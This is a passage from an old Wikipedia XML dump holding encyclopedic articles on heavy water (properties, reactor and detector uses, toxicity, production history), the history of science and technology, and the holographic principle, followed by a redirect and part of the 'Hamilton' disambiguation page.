'''Heavy water''' is '''deuterium oxide''', or D&lt;sub&gt;2&lt;/sub&gt;O or &lt;sup&gt;2&lt;/sup&gt;H&lt;sub&gt;2&lt;/sub&gt;O. Its physical and chemical properties are similar to those of [[light water]], H&lt;sub&gt;2&lt;/sub&gt;O, but the [[hydrogen]] atoms are of the heavy [[isotope]] [[deuterium]], in which the [[atomic nucleus|nucleus]] contains a [[neutron]] in addition to the [[proton]] found in the nucleus of the hydrogen atom.  This isotopic substitution alters the [[bond energy]] of the hydrogen-oxygen bond in water, altering the physical and chemical properties of the substance. [[Gilbert Newton Lewis]] isolated the first sample of pure heavy water in 1933.

'''Semiheavy water''', HDO, also exists whenever there is water with hydrogen-1 (or [[Hydrogen atom|protium]]) and deuterium present in the mixture. This is because hydrogen atoms (hydrogen-1 and deuterium) are rapidly exchanged between water molecules. Water containing 50 % H and 50 % D actually contains about 50 % HDO and 25 % each of H&lt;sub&gt;2&lt;/sub&gt;O and D&lt;sub&gt;2&lt;/sub&gt;O, in [[dynamic equilibrium]]. 

Heavy water should not be confused with [[hard water]] or [[Tritiated water|tritiated water]].
==Uses==
===Nuclear magnetic resonance===
Deuterium oxide is used in [[nuclear magnetic resonance]] (NMR) spectroscopy when the solvent of interest is water and the [[nuclide]] of interest is hydrogen. This is because the signal from the water solvent would interfere with the signal from the molecule of interest. Deuterium has a different [[magnetic moment]] from [[hydrogen]] and therefore does not contribute to the NMR signal at the hydrogen resonance frequency.

===Neutron moderator===
Heavy water is used in certain types of [[nuclear reactors]] where it acts as a [[neutron moderator]] to slow down neutrons so that they can react with the [[uranium]] in the reactor.  
The [[CANDU reactor]] uses this design. Light water also acts as a moderator but because light water absorbs [[neutrons]], reactors using light water must use [[enriched uranium]] rather than natural uranium, otherwise [[Critical mass (nuclear)|criticality]] is impossible. In effect to achieve criticality in a reactor, one must enrich either the moderator or the fuel.  

Because [[heavy water reactor]]s can use natural uranium, it is of concern in efforts to prevent [[nuclear proliferation]]. Heavy water production reactors can be designed to turn uranium into bomb-usable [[plutonium]] without requiring enrichment facilities. Heavy water production reactors have been used for this purpose by [[India]], [[Israel]], [[Pakistan]], [[North Korea]], [[Russia]] and [[USA]].  There is no evidence that heavy water power reactors, such as the CANDU design, have been used for military plutonium production.

Due to its potential for use in [[nuclear weapons]] programs, heavy water is subject to government control in several countries. Suppliers of heavy water and heavy water production technology typically apply [[IAEA]] administered safeguards and material accounting to heavy water. (In [[Australia]], the ''Nuclear Non-Proliferation (Safeguards) Act 1987'').

===Neutrino detector===
The [[Sudbury Neutrino Observatory]] (SNO) in [[Sudbury, Ontario]] uses 1000 tonnes of heavy water on loan from [[Atomic Energy of Canada Limited]]. The [[neutrino detector]] is 6800 feet underground in an old mine to shield it from [[cosmic rays]]. SNO detects the [[Cherenkov effect|Cherenkov radiation]] as [[neutrino]]s pass through the heavy water.

==Toxicity==
To perform their tasks, [[enzyme]]s rely on their finely tuned networks of [[hydrogen bond]]s, both in the active center with their substrates, and outside the active centre, to stabilize their [[tertiary structure]]s. As a hydrogen bond with deuterium is slightly stronger than one involving ordinary hydrogen, in a highly deuterated environment, normal reactions in cells are disrupted. Experiments in mice, rats, and dogs [http://pubs.nrc-cnrc.gc.ca/cgi-bin/rp/rp2_abst_e?cjpp_y99-005_77_ns_nf_cjpp] have shown that a degree of 25 % deuteration causes sterility. High concentrations (90 %) rapidly kills [[fish]], [[tadpole]]s, [[flatworm]]s, and [[drosophila]].

Nonetheless, accidental or intentional [[poison]]ing is unlikely, as large amounts of heavy water would have to be ingested, repeatedly, to produce any noticeable effects.

In 1990, a disgruntled employee at the [[Point Lepreau Nuclear Generating Station]] took a sample of heavy water from the primary heat transport loop and loaded it into a water cooler.  8 employees drank some of the contaminated water.  The incident was discovered when employees began leaving [[bioassay]] urine samples with elevated tritium levels.  The quantities involved were well below levels which could induce heavy water toxicity, but several employees received elevated radiation doses from tritium and activated chemicals in the water.[http://www.ecology.at/nni/site.php?site=Point++Lepreau]

==Production==
On [[Earth]], semiheavy water, HDO, occurs naturally in regular water at a proportion of 1 part per 3200. It may be separated from regular water by [[distillation]] or [[electrolysis]] and also by various chemical exchange processes, all of which exploit a [[kinetic isotope effect]]. In short, the difference in mass between the two hydrogen isotopes translates into a difference in the [[zero-point energy]] and thus into a slight difference in the speed at which the reaction proceeds. Once HDO becomes a significant fraction of the water, heavy water will become more prevalent as water molecules trade hydrogen atoms very frequently. To produce pure heavy water by distillation or electrolysis requires a large cascade of stills or electrolysis chambers, and consumes large amounts of power, so the chemical methods are generally preferred. The most important chemical method is the [[Girdler Sulfide process]].

===United States===
In 1953, the United States began using heavy water in [[plutonium]] production reactors at the [[Savannah River Site]].  The first of the five heavy water reactors came online in 1953, and the last was placed in cold shutdown in 1996. The SRS reactors were heavy water reactors so that they could produce both [[plutonium]], and [[tritium]] for the US nuclear weapons program.

The US developed the [[Girdler sulfide process|Girdler Sulfide]] chemical exchange production process which was first demonstrated on a large scale at the Dana, Indiana plant in 1945 and at the Savannah River Plant, South Carolina in 1952.  The SRP was operated by [[DuPont]] for the USDOE until about 1980.

===Norway===
In [[1934]], [[Norsk Hydro]] built the first commercial heavy water plant at [[Vemork]], [[Tinn]], with a capacity of 12 tonnes per year. From [[1940]] and throughout [[World War II]] the plant was under [[Nazi Germany|Nazi German]] control, and the allies decided to destroy the plant and its heavy water in order to inhibit German development of nuclear weapons. In late [[1942]], a raid by [[United Kingdom|British]] [[paratrooper]]s failed when the gliders crashed. All the raiders were killed in the crash or shot by German army troops. In February [[1943]], a group of 12 Norwegian infiltrators, trained in Britain by the [[Special Operations Executive]] and dropped by parachute into Norway, managed to disrupt production for two months by dynamiting the facilities. On [[November 16]] 1943, the allied air forces dropped more than 400 bombs on the site.

The allied air raid prompted the Nazi government to move all available heavy water to Germany for safekeeping. On [[February 20]] [[1944]], a Norwegian partisan sunk the ferry ''M/F&amp;nbsp;Hydro'' carrying the heavy water across Lake Tinn at the cost of 14 Norwegian civilians, and most of the heavy water was presumably lost. A few of the barrels were only half full, and therefore could float, and may have been salvaged and transported to Germany. However, recent investigation of production records at Norsk Hydro and analysis of an intact barrel that was salvaged in [[2004]] &lt;!--reference: documentary on PBS / discovery channel--&gt; revealed that although the barrels in this shipment contained water of [[pH]]&amp;nbsp;14 &amp;ndash; indicative of heavy water refinement &amp;ndash; the barrels did not contain high concentrations of D2O. Despite the apparent size of shipment, the total quantity of pure heavy water, was quite small.  The Germans would have needed a total of about 5 tons of heavy water to get a nuclear reactor running.  &lt;!--reference: documentary on Nova / Hitlers sunkin treasure--&gt; The manifest clearly indicated that there was only 1/2 a ton of heavy water, that was being transported to Germany.  The Hydro was carrying far too little heavy water for even one reactor, let alone the 10 or more tons needed to make enough plutonium for a nuclear weapon.  The Hydro shipment on February 20 1944 was probably destined for an experimental reactor project. It was of no military significance, which is why it was only lightly guarded.

In 1958, Norway sold 20 tons of heavy water to Israel.

===Canada===
As part of its contribution to the [[Manhattan Project]], Canada built and operated a 6 T/a electrolytic heavy water plant at [[Trail, British Columbia|Trail, BC]], which started operation in 1943. 

The [[Atomic Energy of Canada Limited]] (AECL) design of power reactor requires large quantities of heavy water to act as a [[neutron moderator]] and coolant. AECL ordered two heavy water plants which were built and operated in [[Atlantic Canada]] at [[Glace Bay, Nova Scotia|Glace Bay]] (by Deuterium of Canada Limited) and [[Port Hawkesbury, Nova Scotia|Port Hawkesbury]], [[Nova Scotia]] (by General Electric Canada). These plants proved to have significant design, construction and production problems and so AECL built the Bruce Heavy Water Plant, which it later sold to [[Ontario Hydro]], to ensure a reliable supply of heavy water for future power plants. The two Nova Scotia plants were shut down in 1985 when their production proved to be unnecessary.

The Bruce Heavy Water Plant in [[Ontario]] was the world's largest heavy water production plant with a capacity of 700 tonnes per year. It used the [[Girdler Sulfide process]] to produce heavy water, and required 340,000 tonnes of feed water to produce one tonne of heavy water. It was part of a complex that included 8 [[CANDU reactor]]s which provided heat and power for the heavy water plant. The site was located at [[Douglas Point]] in [[Bruce County]] on [[Lake Huron]] where it had access to the waters of the [[Great Lakes (North America)|Great Lakes]].

The Bruce plant was commissioned in [[1979]] to provide heavy water for a large increase in Ontario's nuclear power generation. The plants proved to be significantly more efficient than planned and only three of the planned four units were eventually commissioned. In addition, the nuclear power programme was slowed down and effectively stopped due to a perceived oversupply of electricity, later shown to be temporary, in [[1993]]. Improved efficiency in the use and recycling of heavy water plus the over-production at Bruce left Canada with enough heavy water for its anticipated future needs. Also, the Girdler process involves large amounts of [[hydrogen sulfide]], raising environmental concerns if there should be a release. The Bruce plant was finally shut down in [[1997]]. The plant was gradually dismantled and the site cleared.

[[Atomic Energy of Canada Limited]] (AECL) is currently researching other more efficient and environmentally benign processes for creating heavy water. This is essential for the future of the CANDU reactors since heavy water represents about 20% of the capital cost of each reactor.

===India===
[[India]] is the world's second largest producer of heavy water through its Heavy Water Board [http://www.heavywaterboard.org/].

===Other countries===
[[Argentina]] is another declared producer of heavy water, using an ammonia/hydrogen exchange based plant supplied by Switzerland's Sulzer company. [[Romania]] also produces heavy water at the Drobeta Girdler Sulfide plant and has exported from time to time.  France operated a small plant during the 1950's and 60's.

==Physical Properties (with comparison to light water)==
{| class=&quot;wikitable&quot;
|-
! align=&quot;left&quot; | Property || D&lt;sub&gt;2&lt;/sub&gt;O (Heavy water) || H&lt;sub&gt;2&lt;/sub&gt;O (Light water)
|-
| Melting point (°C) || 3.82 || 0.0
|-
| Boiling point (°C) || 101.72 || 100.0
|-
| Density (at 20°C, g/mL) || 1.1056 || 0.9982
|-
| Temp. of maximum density (°C) || 11.6 || 4.0
|-
| Viscosity (at 20°C, centipoise) || 1.25 || 1.005
|-
| Surface tension (at 25°C, dyn·cm) || 71.93 || 71.97
|-
| Heat of fusion (cal/mol) || 1,515 || 1,436
|-
| Heat of vaporization (cal/mol) || 10,864 || 10,515 &lt;!--
|-
| Ph level  || approx. 14.0 || approx. 7.0 --&gt;
|}

===Heavy Water in fiction===
Heavy water's supposed ability to perform cold fusion has made it very popular in the world of Science fiction. One such example of this is in the Stargate SG1 episode The Other Side in which an alien society trades weapons technology to Earth in exchange for heavy water.

==See also==
* [[Norwegian heavy water sabotage]]

== External links ==
*[http://www.fas.org/nuke/intro/nuke/heavy.htm Federation of American Scientists article] on the production of heavy water
*[http://www.cns-snc.ca/Bulletin/A_Miller_Heavy_Water.pdf Heavy Water: A Manufacturer’s Guide for the Hydrogen Century] (PDF file)
*[http://www.straightdope.com/mailbag/mheavywater.html Straight Dope Staff Report: Is &quot;heavy water&quot; dangerous?]

[[Category:Forms of water]]
[[Category:Nuclear materials]]

[[ar:ماء ثقيل]]
[[bg:Тежка вода]]
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[[zh:重水]]</text>
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  </page>
  <page>
    <title>Hemochromatosis</title>
    <id>14284</id>
    <revision>
      <id>15911847</id>
      <timestamp>2004-03-23T04:58:35Z</timestamp>
      <contributor>
        <username>Cyrius</username>
        <id>35616</id>
      </contributor>
      <minor />
      <comment>Putting it back where it was, at Haemochromotosis</comment>
      <text xml:space="preserve">#REDIRECT [[Haemochromatosis]]</text>
    </revision>
  </page>
  <page>
    <title>History of science and technology</title>
    <id>14285</id>
    <revision>
      <id>41444991</id>
      <timestamp>2006-02-27T10:20:39Z</timestamp>
      <contributor>
        <ip>137.222.70.24</ip>
      </contributor>
      <comment>/* Universities with HST programs */</comment>
      <text xml:space="preserve">:''This article is about the academic discipline of the history of science and technology. For chronological accounts of the development of science and technology, see [[history of science]] and [[history of technology]].''

The '''history of science and technology (HST)''' is a field of [[history]] which examines how humanity's understanding of [[science]] and [[technology]] has changed over the [[millennia]]. Without this understanding, development of new [[technology|technologies]] would have been improbable. This field of history also studies the [[culture|cultural]], [[economics|economic]], and [[politics|political]] impacts of scientific innovation. 

The [[historiography of science]] was originally written by practicing and retired scientists, starting primarily with [[William Whewell]], as a way to communicate the perceived virtues of science to the public. In the early 1930s, after a famous paper given by the [[Soviet]] historian [[Boris Hessen]], effort was focused into looking at the ways in which scientific practices were allied with the needs and motivations of their context. After [[World War II]], extensive resources were put into teaching and researching the discipline, with the hopes that it would help the public better understand both science and technology and they came to play an exceedingly prominent role in the world eye. In the 1960s, especially in the wake of the work done by [[Thomas Kuhn]], the discipline began to serve a very different function, and began to be used as a way to problematize scientific enterprise. At the present time it is often closely aligned with the field of [[Science studies]].

Modern [[mathematics|mathematical]] [[science]] and [[physics|physical]] [[engineering]] as it is understood today took form in the [[scientific revolution]], but was built on the work of the [[Greece|Greek]] civilization, which in turn had learned from the civilizations of [[Egypt]] and [[Mesopotamia]].
See the main articles [[History of science]] and [[History of technology]] for these respective topics.

==Universities with HST programs==
* [[Brown University]] has a program in the [[History of Mathematics]]. [http://www.brown.edu/Departments/History_Mathematics]
* [[Carleton University]] Ottawa offer courses in Ancient Science and Technology in its Technology, Society and Environment program
* [[Case Western Reserve University]] has an undergraduate interdisciplinary program in the History and Philosophy of Science [http://www.case.edu/artsci/hpst/] and a graduate program in the History of Science, Technology, Environment, and Medicine (STEM) [http://www.case.edu/artsci/hsty/graduate.html#stem].
* [[Georgia Institute of Technology]] has an undergraduate and graduate program in the History of Technology and Society. [http://www.hts.gatech.edu/]
* [[Harvard]] has a large undergraduate and graduate program in History of Science, and is one of the largest departments currently in the world. [http://www.fas.harvard.edu/~hsdept/]
* [[Indiana University Bloomington|Indiana University]] offers undergraduate courses and a masters and PhD program in the History and Philosophy of Science. [http://www.indiana.edu/~hpscdept/]
* [[Johns Hopkins University]] has an undergraduate and graduate program in the History of Science, Medicine, and Technology. [http://www.hopkinsmedicine.org/graduateprograms/history_of_science/]
* [[Linköping_University|Linköpings universitet]], Sweden, has a Science, Technology, and Society program which includes HST. [http://www.tema.liu.se/tema-t/]
* The London Centre for the History of Science, Technology and Medicine - this Centre was formed in 1987 and runs a postgraduate programme which is jointly administered and taught by [[Imperial College London]], [[University College London]], and the [[Wellcome Trust]] Centre for the History of Medicine at UCL. [http://www3.imperial.ac.uk/portal/page?_pageid=73,369680&amp;_dad=portallive&amp;_schema=PORTALLIVE]
* [[MIT]] has a Science, Technology, and Society program which includes HST. [http://web.mit.edu/sts/]
* [[Princeton University]] has a program in the History of Science. [http://www.princeton.edu/~hos/]
* [[Stanford]] has a History and Philosophy of Science and Technology program. [http://hpst.stanford.edu/]
* [[Stevens Institute of Technology]] has an undergraduate and graduate program in the History of Science.
* [[UC Berkeley]] offers a graduate degree in HST through its History program, and maintains a separate sub-department for the field. [http://ohst.berkeley.edu]
* [[UCLA]] has a relatively large group History of Science and Medicine faculty and graduate students within its History department, and also offers an undergraduate minor in the History of Science. [http://www.history.ucla.edu/graduate/fields/science.html]
* [[University College London]] has an undergraduate programme in History and Philosophy of Science in the Department of Science and Technology Studies. A postgraduate programme is offered through the London Centre.  [http://www.ucl.ac.uk/sts] UCL also contains The [[Wellcome Trust]] Centre for the History of Medicine which runs a postgraduate programme. [http://www.ucl.ac.uk/histmed/]
* [[University of Bristol]] has a masters and PhD program in the Philosophy and History of Science. [http://www.bris.ac.uk/philosophy/]
* [[University of Cambridge]] has an undergraduate course and a large masters and PhD program in the History and Philosophy of Science (including the History of Medicine). [http://www.hps.cam.ac.uk/]
* [[University of Durham]], UK, has a 1st year History of Science module in the Philosophy department. [http://www.dur.ac.uk/philosophy.department/Undergraduates/HistSci.html]
* [[University of Florida]] has a Graduate Program in 'History of Science, Technology, and Medicine' at the University of Florida provides undergraduate and graduate degrees. [http://www.history.ufl.edu/]
* [[University of King's College]] has a History of Science and Technology Program.[http://ukings.ns.ca]
* [[University of Leeds]] has both undergraduate and graduate programmes in History and Philosophy of Science in the Department of Philosophy. [http://www.philosophy.leeds.ac.uk/]
* [[University of Oklahoma]] has an undergraduate minor and a graduate degree program in History of Science. [http://www.ou.edu/cas/hsci/]
* [[University of Oxford]] has a one-year graduate course in 'History of Science: Instruments, Museums, Science, Technology' associated with the [[Museum of the History of Science]]. [http://www.mhs.ox.ac.uk/course/]
* [[University of Pennsylvania]] has a program in history and sociology of Science. [http://ccat.sas.upenn.edu/hss2/hss/]
* [[University of Toronto]] has a program in history and philosophy of Science and Technology. [http://www.chass.utoronto.ca/ihpst/]
* [[University of Wisconsin-Madison]] has a program in the History of Science, Medicine, and Technology. [http://histsci.wisc.edu/]
* [[Utrecht University]] has a program in History and Philosophy of Science. [http://www1.phys.uu.nl/masters/histphilmaster/]
* [[Yale University]] has a program in the History of Medicine and Science. [http://www.yale.edu/hshm/]

==Prominent historians of the field==
*[[Johann Beckmann]]
*[[Jim Bennett (historian)|Jim Bennett]]
*[[Martin Campbell-Kelly]]
*[[Georges Canguilhem]]
*[[Allan Chapman]]
*[[I. Bernard Cohen]]
*[[Pierre Duhem]]
*[[Robert Gunther]]
*[[Paul Forman]]
*[[John L. Heilbron]]
*[[Thomas P. Hughes]]
*[[Daniel Kevles]]
*[[Alexandre Koyré]]
*[[Melvin Kranzberg]]
*[[Thomas Kuhn]]
*[[Simon Lavington]]
*[[Lewis Mumford]]
*[[Abraham Pais]]
*[[Raul Rojas]]
*[[George Sarton]]
*[[Charles Singer]]
*[[Stephen Snobelen]]

==Bibliography==
'''Historiography of science'''
*H. Floris Cohen, ''The Scientific Revolution: A Historiographical Inquiry'', University of Chicago Press 1994 - Discussion on the origins of modern science has been going on for more then two hundred years. Cohen provides an excellent overview.
*[[Ernst Mayr]], ''The Growth of Biological Thought'', Belknap Press 1985
*[[Michel Serres]],(ed.), ''A History of Scientific Thought'', Blackwell Publishers 1995
*''Companion to Science in the Twentieth Century'', John Krige (Editor), Dominique Pestre (Editor), Taylor &amp; Francis 2003, 941pp 
*The Cambridge History of Science,  Cambridge University Press
**Volume 4, Eighteenth-Century Science, 2003
**Volume 5, The Modern Physical and Mathematical Sciences, 2002

'''History of science as a discipline'''
*J. A. Bennett, 'Museums and the Establishment of the History of Science at Oxford and Cambridge', British Journal for the History of Science 30, 1997, 29–46
*Dietrich von Engelhardt, ''Historisches Bewußtsein in der Naturwissenschaft : von der Aufklärung bis zum Positivismus'', Freiburg [u.a.] : Alber, 1979
*A.-K. Meyer, 'Setting up a Discipline: Conflicting Agendas of the Cambridge History of Science Committee, 1936–1950.' Studies in History and Philosophy of Science, 31, 2000

==Journals and periodicals==
*''[[British Journal for the History of Science]]''
*''[[History of Technology]]''
*''[[Historical Studies in the Physical and Biological Sciences]]'' (HSPS)
*''[[ICON (journal)|ICON]]''
*''[[IEEE Annals of the History of Computing]]''
*''[[Isis (journal)|Isis]]''
*''[[Journal of the History of Biology]]''
*''[[Journal of the History of Medicine and the Allied Sciences]]''
*''[[Osiris (journal)|Osiris]]''
*''[[Science &amp; Technology Studies]]''
*''[[Science in Context]]''
*''[[Science, Technology, &amp; Human Values]]''
*''[[Social Studies of Science]]''
*''[[Technology and Culture]]''
*''[[Transactions of the Newcomen Society]]''

==Professional societies==
* [http://www.bshs.org.uk/ British Society for the History of Science]
* [[History of Science Society]] (HSS) [http://hssonline.org]
* [[Newcomen Society]]
* [http://shot.press.jhu.edu/ Society for the History of Technology] (SHOT)
* [http://www.4sonline.org/ Society for the Social Studies of Science] (4S)

==External links==
* [http://www.hssonline.org/guide/ The History of Science Society's &quot;Guide to the Profession&quot;]
* [http://www.ncsu.edu/chass/mds/stslinks.html A page of Science, Technology, and Society links].
* [http://www.stswiki.org  STS Wiki]

[[Category:History of science]]
[[Category:History of technology]]

[[de:Wissenschaftsgeschichte]]
[[es:Historia de la ciencia]]
[[eo:Historio de scienco kaj teknologio]]
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[[gl:Historia da ciencia]]
[[it:Storia della scienza e della tecnica]]
[[ja:科学史]]
[[pl:Historia nauki]]
[[sl:Zgodovina znanosti in tehnologije]]
[[tl:Kasaysayan ng agham at teknolohiya]]
[[ta:அறிவியல், தொ.நுட்ப வரலாறு]]
[[th:ประวัติศาสตร์ของวิทยาศาสตร์และเทคโนโลยี]]
[[tr:Bilim ve teknoloji tarihi]]
[[zh:自然科学史]]</text>
    </revision>
  </page>
  <page>
    <title>Holographic principle</title>
    <id>14286</id>
    <revision>
      <id>39582451</id>
      <timestamp>2006-02-14T12:54:14Z</timestamp>
      <contributor>
        <username>Phil Boswell</username>
        <id>24373</id>
      </contributor>
      <comment>[[WP:AWB|AWB assisted]] migrate from {{journal reference}} to {{cite journal}}</comment>
      <text xml:space="preserve">The '''holographic principle''' is a speculative conjecture about [[quantum gravity]] theories, proposed by [[Gerard 't Hooft]] and improved and promoted by [[Leonard Susskind]], claiming that all of the [[information]] contained in a volume of [[space]] can be represented by a theory that lives in
the boundary of that region.  In other words, if you have a room then you can model all of the events within that room by creating a theory that only takes into account what happens in the walls of the room.  The holographic principle also states that at most there is one [[Degrees_of_freedom_(physics_and_chemistry)|degree of freedom]] for every four [[Planck units|Planck area]] in that theory. This can be stated as the [[Bekenstein bound]], &lt;math&gt;S\le A/4&lt;/math&gt;.

==What leads to the holographic principle==

Given any finite, [[Compact_space|compact]] region of space (e.g. a sphere), this region will contain [[matter]] and [[energy]] within it.  If this energy surpasses a critical density then the region collapses into a [[black hole]].

A black hole is known theoretically to have an [[entropy]] {{ref|arxiv0}} which is directly proportional to the surface area of its [[event horizon]]. Black holes become more disordered as they absorb matter.  Black holes are [[Principle_of_maximum_entropy|maximal entropy]] objects {{ref|aeiveos}}, so the entropy contained in a given region of space cannot be larger than the entropy of the largest black hole which can fit in that volume. Black holes are thus the most disordered objects in the Universe.

A black hole's [[Event_horizon|event horizon]] encloses a volume, and more [[Mass|massive]] black holes have larger event horizons and enclose larger volumes.  The most massive black hole that can fit in a given region is the one whose event horizon corresponds exactly to the boundary of the given region.

The more mass, the more entropy.  Therefore the maximal limit of entropy for any ordinary region of space is directly proportional to the surface area of the region, not its volume.  This is [[counter-intuitive]] to physicists because entropy is an [[extensive variable]], being directly proportional to mass, which is proportional to volume (all else being equal, including the density of the mass).

If entropy of ordinary mass (not just black holes) is also proportional to area, then this implies that volume itself is somehow illusory: that mass occupies area, not volume, and so the universe is really a [[hologram]] which is [[isomorphism|isomorphic]] to the information &quot;inscribed&quot; on its boundaries {{ref|sciam}}.

==Limit on information density==
Entropy, if considered as information (see [[information entropy]]), can ultimately be measured in [[bit]]s.  One bit corresponds to four [[Planck units|Planck areas]] {{ref|sciam}}.  The total quantity of these bits is related to the total [[Degrees of freedom (physics and chemistry)|degrees of freedom]] of matter/energy.  The bits themselves would encode information about the states which that matter/energy are occupying.

In a given volume, there is an upper limit to the density of information about the whereabouts of all the particles which compose matter in that volume, suggesting that matter itself cannot be subdivided infinitely many times; rather there must be an ultimate level of [[elementary particle|fundamental particles]], i.e. were a particle composed of sub-particles, then the [[degrees of freedom]] of the particle would be the product of all the degrees of freedom of its sub-particles; were these sub-particles themselves also divided into sub-sub-particles, and so on indefinitely, then the degrees of freedom of the original particle must be [[Infinity|infinite]], violating the maximal limit of entropy density. The holographic principle thus implies that the subdivisions must stop at some level, and that the fundamental particle is a bit (1 or 0) of information.

The most rigorous realization of the holographic principle is the [[AdS/CFT]] correspondence by [[Juan Maldacena]].

==See also==

* [[Black hole]]
* [[Cosmology]]
* [[Brane cosmology]]
* [[Bekenstein Bound]]

==References ==
''General''
* {{cite journal
 | first = Raphael | last = Bousso
 | title = The holographic principle
 | journal = Reviews of Modern Physics
 | volume = 74
 | year = 2002
 | pages = 825–874
 | id = {{arxiv|archive=hep-th|id=0203101}}
 }}
''Citations''
#{{note|arxiv0}} {{cite journal
 | first = Parthasarathi | last = Majumdar
 | title = Black Hole Entropy and Quantum Gravity
 | id = {{arxiv|archive=gr-qc|id=9807045}}
 | journal = arXiv: General Relativity and Quantum Cosmology
 }}
#{{note|aeiveos}} {{cite journal
 | first = Jacob D. | last = Bekenstein
 | authorlink = Jacob Bekenstein
 | url = http://www.aeiveos.com/~bradbury/Authors/Computing/Bekenstein-JD/UUBotEtERfBS.html
 | title = Universal upper bound on the entropy-to-energy ratio for bounded systems
 | journal = Physical Review DD
 | volume = 23
 | issue = 215 
 | year =January 1981 (Revision: August 25, 1980.) 
 }}
#{{note|sciam}} {{cite journal
 | first = Jacob D. | last = Bekenstein
 | authorlink = Jacob Bekenstein
 | url = http://www.sciam.com/article.cfm?articleid=000AF072-4891-1F0A-97AE80A84189EEDF
 | title = Information in the Holographic Universe — Theoretical results about black holes suggest that the universe could be like a gigantic hologram
 | journal = [[Scientific American]]
 | year = August 2003
 | pages = p. 59
 }}

[[Category:Theoretical physics]]
[[Category:Black holes]]


[[de:Holografisches Prinzip]]</text>
    </revision>
  </page>
  <page>
    <title>Hamilton</title>
    <id>14287</id>
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      <id>39953785</id>
      <timestamp>2006-02-17T01:30:08Z</timestamp>
      <contributor>
        <ip>67.170.206.63</ip>
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      <text xml:space="preserve">{{TOCright}}
'''Hamilton''' is the surname of a renowned family from the [[Scottish Lowlands]] that has given its name to the town of [[Hamilton, South Lanarkshire]], the [[Duke of Hamilton|Dukedom of Hamilton]], and many people and places, the largest of which is the [[Canada|Canadian]] city of [[Hamilton, Ontario]].

==People==
===Real people===
*[[Alexander Hamilton]], American statesman
*[[Alice Hamilton]], American toxicologist
*[[Andrew Hamilton]] - many people, see Disambiguation Page
*[[Anthony Hamilton]] - many people, see Disambiguation Page
*[[Bethany Hamilton]], surfer
*[[Billy Hamilton]], baseball player
*[[Charles Hamilton]] - many people, see Disambiguation Page
*[[David Hamilton]] - many people, see Disambiguation Page
*[[Donald Hamilton]] - American writer
*[[Eamon Hamilton]], of the bands [[British Sea Power]] and [[Brakes (band)|Brakes]]
*[[Edith Hamilton]], writer on mythology
*[[Edmond Hamilton]], science fiction writer
*[[Elizabeth Hamilton]], Scottish writer
*Lady [[Emma Hamilton]], mistress of Lord Nelson
*[[Francis Hamilton]], Scottish physician and geographer of the Bengal region
*[[Gavin Hamilton]], cricketer
*[[Gavin Hamilton, artist and antiquarian]]
*[[George Hamilton]] - many people, see Disambiguation Page
*[[Guy Hamilton]], British film director
*[[Hamilton (musician)|Hamilton]], of the band [[British Sea Power]]
*[[Henry Hamilton]], British general
*[[Ian Hamilton]] - many people, see Disambiguation Page
*[[James Hamilton]] - many people, see Disambiguation Page
*[[Keith Hamilton]] - former defensive tackle for the [[New York Giants]]
*[[Jim Hamilton]] - Scottish footballer
*[[Laurell K. Hamilton]], American horror and fantasy writer
*[[Lee H. Hamilton]], Vice Chair of the 9/11 Commission
*[[Laird Hamilton]], surfer (adopted surname)
*[[Patrick Hamilton]] - many people, see Disambiguation Page
*[[Peter F. Hamilton]], science fiction author
*[[Richard Hamilton]] - many people, see Disambiguation Page
*[[Terrick Hamilton]], Scottish linguist
*[[Thomas Hamilton]] - many people, see Disambiguation Page
*[[Tyler Hamilton]], American cyclist
*[[Walter Kerr Hamilton]], English bishop
*[[William Hamilton]] - many people, see Disambiguation Page

===Fictional people===
*[[Carl Hamilton]], the fictional spy created by Jan Guillou
*[[Marcus Hamilton]], a character from the TV series ''Angel''
*[[Professor Hamilton]], a supporting character from Superman comics

==Places==
===United States of America===
====Cities====
*[[Hamilton, Alabama]]
*[[Hamilton, Georgia]]
*[[Hamilton, Indiana]]
*[[Hamilton, Illinois]]
*[[Hamilton, Iowa]]
*[[Hamilton, Kansas]]
*[[Hamilton, Massachusetts]]
*[[Hamilton, Michigan]]
*[[Hamilton, Mississippi]]
*[[Hamilton, Missouri]]
*[[Hamilton, Montana]]
*[[Hamilton, Nevada]]
*[[Hamilton (village), New York]] 
*[[Hamilton (town), New York]] 
*[[Hamilton, North Carolina]]
*[[Hamilton, North Dakota]]
*[[Hamilton, Ohio]]
*[[Hamilton, Texas]]
*[[Hamilton, Virginia]]
*[[Hamilton, Washington]]
*[[Hamilton, Wisconsin]]
*[[Hamilton City, California]]

====Counties====
*[[Hamilton County, Florida]]
*[[Hamilton County, Illinois]]
*[[Hamilton County, Indiana]]
*[[Hamilton County, Iowa]]
*[[Hamilton County, Kansas]]
*[[Hamilton County, Nebraska]]
*[[Hamilton County, New York]]
*[[Hamilton County, Ohio]]
*[[Hamilton County, Tennessee]]
*[[Hamilton County, Texas]]
====Townships====
*Arkansas
**[[Hamilton Township, Arkansas]]
*Indiana
**[[Hamilton Township, Delaware County, Indiana]]
**[[Hamilton Township, Jackson County, Indiana]]
**[[Hamilton Township, Sullivan County, Indiana]]
*Iowa
**[[Hamilton Township, Decatur County, Iowa]]
**[[Hamilton Township, Franklin County, Iowa]]
**[[Hamilton Township, Hamilton County, Iowa]]
*Illinois
**[[Hamilton Township, Lee County, Illinois]]
*Michigan
**[[Hamilton Township, Clare County, Michigan]]
**[[Hamilton Township, Gratiot County, Michigan]]
**[[Hamilton Township, Van Buren County, Michigan]]
*Missouri
**[[Hamilton Township, Caldwell County, Missouri]]
**[[Hamilton Township, Harrison County, Missouri]]
*Nebraska
**[[Hamilton Township, Nebraska]]
*New Jersey
**[[Hamilton Township, Atlantic County, New Jersey]]
**[[Hamilton Township, Mercer County, New Jersey]]
*North Carolina
**[[Hamilton Township, North Carolina]]
*North Dakota
**[[Hamilton Township, North Dakota]]
*Ohio
**[[Hamilton Township, Franklin County, Ohio]]
**[[Hamilton Township, Jackson County, Ohio]]
**[[Hamilton Township, Lawrence County, Ohio]]
**[[Hamilton Township, Warren County, Ohio]]
*Pennsylvania
**[[Hamilton Township, Adams County, Pennsylvania]]
**[[Hamilton Township, Franklin County, Pennsylvania]]
**[[Hamilton Township, McKean County, Pennsylvania]]
**[[Hamilton Township, Monroe County, Pennsylvania]]
**[[Hamilton Township, Tioga County, Pennsylvania]]
*South Dakota
**[[Hamilton Township, Charles Mix County, South Dakota]]
**[[Hamilton Township, Marshall County, South Dakota]]
**[[William Hamilton Township, Hyde County, South Dakota]]

===Elsewhere in the world===
*[[Hamilton, South Lanarkshire]], Scotland, the original one and location of [[Hamilton Palace]]
